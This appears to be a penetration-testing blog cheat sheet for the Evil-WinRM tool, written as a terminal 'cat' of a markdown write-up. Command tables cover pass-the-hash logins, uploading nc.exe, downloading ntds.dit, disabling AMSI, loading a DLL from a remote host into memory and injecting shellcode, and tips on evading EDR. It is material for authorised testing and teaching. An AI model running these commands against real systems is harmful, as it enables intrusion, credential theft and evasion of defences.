root@sparrow:~/writeups$ cat evil-winrm.md
// Active Directory
Evil-WinRM
21 Jul 2026
· 3 min read
Evil-WinRM is the go-to client for getting shells on Windows over WinRM (Windows Remote Management, ports 5985/5986). As soon as you have valid credentials —a password, an NTLM hash, a certificate or a Kerberos ticket— and the user is in the Remote Management Users group, it hands you an interactive PowerShell console with built-in file upload/download and script loading.The detail that makes the difference is that Evil-WinRM is not just “a shell”: its menus load .NET binaries in memory (Invoke-Binary), bypass AMSI (Bypass-4MSI) and inject shellcode without touching disk. And because it accepts an NTLM hash directly (-H), it is the natural path for pass-the-hash when cracking the password is not an option.
1. Beginner level — connection and files

| Command | What it does |
|---|---|
evil-winrm -i <ip> -u user -p pass | WinRM shell with username and password |
evil-winrm -i <ip> -u user -H <hash> | Authenticate with an NTLM hash (pass-the-hash) |
evil-winrm -i <ip> -u user -p pass -S | SSL-encrypted connection (port 5986) |
evil-winrm -i <ip> -u user -p pass -P 5985 | Specify the WinRM port |
upload nc.exe | Upload a file to the target machine |
download C:\loot.txt | Download a file from the target |
services | List services and their paths |
menu | Show the available loaded modules |
evil-winrm -i <ip> -u user -p pass -s /scripts | Load a directory of PS scripts |
evil-winrm -i <ip> -u user -p pass -e /exes | Load a directory of executables |
evil-winrm -i <ip> -u 'DOM\user' -p pass | domain\username format |
evil-winrm -i <ip> -u user -p pass -N | Disable the shell colors |
evil-winrm -i <ip> -u user -p pass -l | Save a log of the session |
evil-winrm -V | Show the installed version |
2. Advanced level — cert, Kerberos and in-memory execution

| Command | What it does |
|---|---|
evil-winrm -i <ip> -u user -H <hash> -S | Pass-the-hash over SSL |
evil-winrm -i <ip> -u user -c cert.pem -k key.pem -S | Certificate-based authentication |
evil-winrm -i <ip> -u user -p pass -r DOM.LOCAL | Kerberos authentication (realm) |
Invoke-Binary /exes/app.exe | Run a .NET binary in memory |
Bypass-4MSI | Disable AMSI in the current session |
Dll-Loader -http http://<ip>/x.dll | Load a remote DLL in memory |
Donut-Loader -process_id 1 -donutfile x.bin | Inject donut shellcode into a process |
upload /local/nc.exe C:\Temp\nc.exe | Upload to a specific destination path |
download C:\ntds.dit ./ntds.dit | Download to a specific local path |
evil-winrm -i <ip> -u user -p pass -e /exes -s /scripts | Load exes and scripts at once |
evil-winrm -i <ip> -u user -H <hash> -s /scripts | Pass-the-hash + PS scripts |
evil-winrm -i <ip> -u user -p pass -P 5986 -S | SSL on an explicit port |
evil-winrm -i <ip> -u user -p pass -N -l | No colors and with session log |
evil-winrm -i <ip> -u user -H <hash> -e /exes -s /scripts | PtH + exes + scripts (full setup) |
3. Details people miss
- WinRM is not open on every box: first check port
5985(or5986with-S) and that the user is inRemote Management Users, or the connection fails even with correct credentials. - With
-Hyou pass the NT hash (the second half ofLM:NT), not the full pair; feeding it the wholeLM:NTbreaks many versions. Invoke-Binaryruns .NET executables in memory; for native binaries (nc.exe, classic mimikatz.exe) useuploadto disk orDonut-Loader.upload/downloadare relative to the directory you launched evil-winrm from on your host, not your$HOME: know your local cwd before transferring.- In EDR-heavy environments, chain
Bypass-4MSIbefore loading scripts like PowerView or Rubeus; otherwise AMSI will block them on import.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.